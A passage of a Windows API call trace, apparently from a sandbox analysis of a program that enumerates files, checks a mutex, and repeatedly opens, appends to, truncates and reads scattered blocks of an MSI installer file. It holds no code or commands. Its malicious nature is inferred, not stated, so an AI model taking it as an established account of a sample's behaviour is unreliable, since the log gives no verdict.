lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0265.895] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0265.895] CloseHandle (hObject=0x398) returned 1 [0265.896] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0265.896] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0265.896] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0265.896] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0265.896] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0265.896] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.896] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0265.896] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0265.896] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0265.896] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.896] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0265.896] GlobalUnlock (hMem=0x3f40014) returned 0 [0265.896] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0265.896] CharLowerBuffW (in: lpsz="netfx_Core_x86.msi", cchLength=0x12 | out: lpsz="netfx_core_x86.msi") returned 0x12 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0265.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0265.897] CharLowerBuffW (in: lpsz=".msi", cchLength=0x4 | out: lpsz=".msi") returned 0x4 [0265.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".msi", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".msiw", lpUsedDefaultChar=0x0) returned 4 [0265.897] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da1d0 [0265.898] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0265.898] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0265.898] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0265.898] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", dwFileAttributes=0x20) returned 1 [0265.899] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0265.899] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0265.899] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x11c000 [0265.899] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0265.899] SetFilePointer (in: hFile=0x398, lDistanceToMove=1163264, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0x11c000 [0265.899] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c78*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0265.900] CloseHandle (hObject=0x398) returned 1 [0266.299] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0266.300] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0266.300] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x11c001 [0266.300] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0266.300] SetFilePointer (in: hFile=0x398, lDistanceToMove=1163264, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x11c000 [0266.300] SetEndOfFile (hFile=0x398) returned 1 [0266.302] CloseHandle (hObject=0x398) returned 1 [0266.302] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0266.302] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0266.302] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x11c000 [0266.302] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0266.303] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0266.303] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0266.303] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.303] SetFilePointer (in: hFile=0x398, lDistanceToMove=44786, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xaef2 [0266.303] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.303] SetFilePointer (in: hFile=0x398, lDistanceToMove=77216, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x12da0 [0266.303] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.303] SetFilePointer (in: hFile=0x398, lDistanceToMove=119713, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1d3a1 [0266.303] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.303] SetFilePointer (in: hFile=0x398, lDistanceToMove=144695, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x23537 [0266.303] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.303] SetFilePointer (in: hFile=0x398, lDistanceToMove=181277, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x2c41d [0266.303] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=200704, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x31000 [0266.304] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=240268, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x3aa8c [0266.304] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=292257, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x475a1 [0266.304] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=310675, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x4bd93 [0266.304] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=341769, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x53709 [0266.304] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=380278, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x5cd76 [0266.304] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=423428, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x67604 [0266.304] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=428699, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x68a9b [0266.304] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=479724, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x751ec [0266.305] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.305] SetFilePointer (in: hFile=0x398, lDistanceToMove=505955, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x7b863 [0266.305] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.305] SetFilePointer (in: hFile=0x398, lDistanceToMove=530189, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x8170d [0266.305] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.305] SetFilePointer (in: hFile=0x398, lDistanceToMove=583906, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x8e8e2 [0266.305] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.305] SetFilePointer (in: hFile=0x398, lDistanceToMove=618119, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x96e87 [0266.305] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.305] SetFilePointer (in: hFile=0x398, lDistanceToMove=631619, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x9a343 [0266.305] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.305] SetFilePointer (in: hFile=0x398, lDistanceToMove=682361, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xa6979 [0266.305] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.305] SetFilePointer (in: hFile=0x398, lDistanceToMove=696411, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xaa05b [0266.305] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.305] SetFilePointer (in: hFile=0x398, lDistanceToMove=728465, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xb1d91 [0266.305] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.306] SetFilePointer (in: hFile=0x398, lDistanceToMove=759831, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xb9817 [0266.306] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.306] SetFilePointer (in: hFile=0x398, lDistanceToMove=788383, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xc079f [0266.306] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.306] SetFilePointer (in: hFile=0x398, lDistanceToMove=840371, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xcd2b3 [0266.306] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.306] SetFilePointer (in: hFile=0x398, lDistanceToMove=871674, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xd4cfa [0266.306] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.306] SetFilePointer (in: hFile=0x398, lDistanceToMove=899254, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xdb8b6 [0266.306] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.306] SetFilePointer (in: hFile=0x398, lDistanceToMove=946626, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xe71c2 [0266.306] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.306] SetFilePointer (in: hFile=0x398, lDistanceToMove=957428, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xe9bf4 [0266.306] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.306] SetFilePointer (in: hFile=0x398, lDistanceToMove=1009761, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xf6861 [0266.306] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.307] SetFilePointer (in: hFile=0x398, lDistanceToMove=1037857, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xfd621 [0266.307] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.307] SetFilePointer (in: hFile=0x398, lDistanceToMove=1061332, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1031d4 [0266.307] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, 